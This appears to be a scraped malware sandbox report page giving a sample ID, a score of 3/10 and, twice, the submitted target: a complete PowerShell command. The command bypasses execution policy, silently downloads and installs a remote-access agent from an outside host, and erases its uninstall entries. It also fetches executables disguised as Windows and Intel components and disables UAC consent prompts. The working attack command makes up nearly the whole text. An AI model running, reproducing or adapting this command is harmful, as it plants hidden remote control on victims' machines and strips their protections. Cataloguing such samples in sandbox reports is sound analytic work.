General
- Target http://powershell -ExecutionPolicy Bypass -Command "$file = \"$env:TEMP\WindowsSecurityServices.exe\"; Invoke-WebRequest -Uri 'https://www.hdtechnalogy.online/meshagents?id=4&meshid=DfKpXvbvdMfrxXIOQcArEhApHKTP3ycZ9uSPBm@Vuaq6WGYrxx1JPG1YhO8tFZuW&installflags=2' -OutFile $file; Start-Process -FilePath $file -ArgumentList '-fullinstall -silent' -WindowStyle Hidden -Wait; reg delete 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSecurityServices' /f; reg delete 'HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSecurityServices' /f; mkdir C:\Users\Temp -Force; cd C:\Users\Temp; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/Svchost.exe?download=1' -OutFile 'dControl.exe'; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/IntelTaskHost.exe?download=1' -OutFile 'IntelTaskHost.exe'; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/IntelAudioServices.exe?download=1' -OutFile 'C:\inetpub\IntelAudioServices.exe'; reg ADD 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v EnableLUA /t REG_DWORD /d 1 /f; reg ADD 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; Start-Process 'dControl.exe'"
- Sample260701-s2tr4sht7m
Score
3/10
Malware Config
Targets
-
- Target http://powershell -ExecutionPolicy Bypass -Command "$file = \"$env:TEMP\WindowsSecurityServices.exe\"; Invoke-WebRequest -Uri 'https://www.hdtechnalogy.online/meshagents?id=4&meshid=DfKpXvbvdMfrxXIOQcArEhApHKTP3ycZ9uSPBm@Vuaq6WGYrxx1JPG1YhO8tFZuW&installflags=2' -OutFile $file; Start-Process -FilePath $file -ArgumentList '-fullinstall -silent' -WindowStyle Hidden -Wait; reg delete 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSecurityServices' /f; reg delete 'HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSecurityServices' /f; mkdir C:\Users\Temp -Force; cd C:\Users\Temp; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/Svchost.exe?download=1' -OutFile 'dControl.exe'; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/IntelTaskHost.exe?download=1' -OutFile 'IntelTaskHost.exe'; Invoke-WebRequest -Uri 'https://globaltechh.xyz/userfiles/admin/IntelAudioServices.exe?download=1' -OutFile 'C:\inetpub\IntelAudioServices.exe'; reg ADD 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v EnableLUA /t REG_DWORD /d 1 /f; reg ADD 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; Start-Process 'dControl.exe'"
Score3/10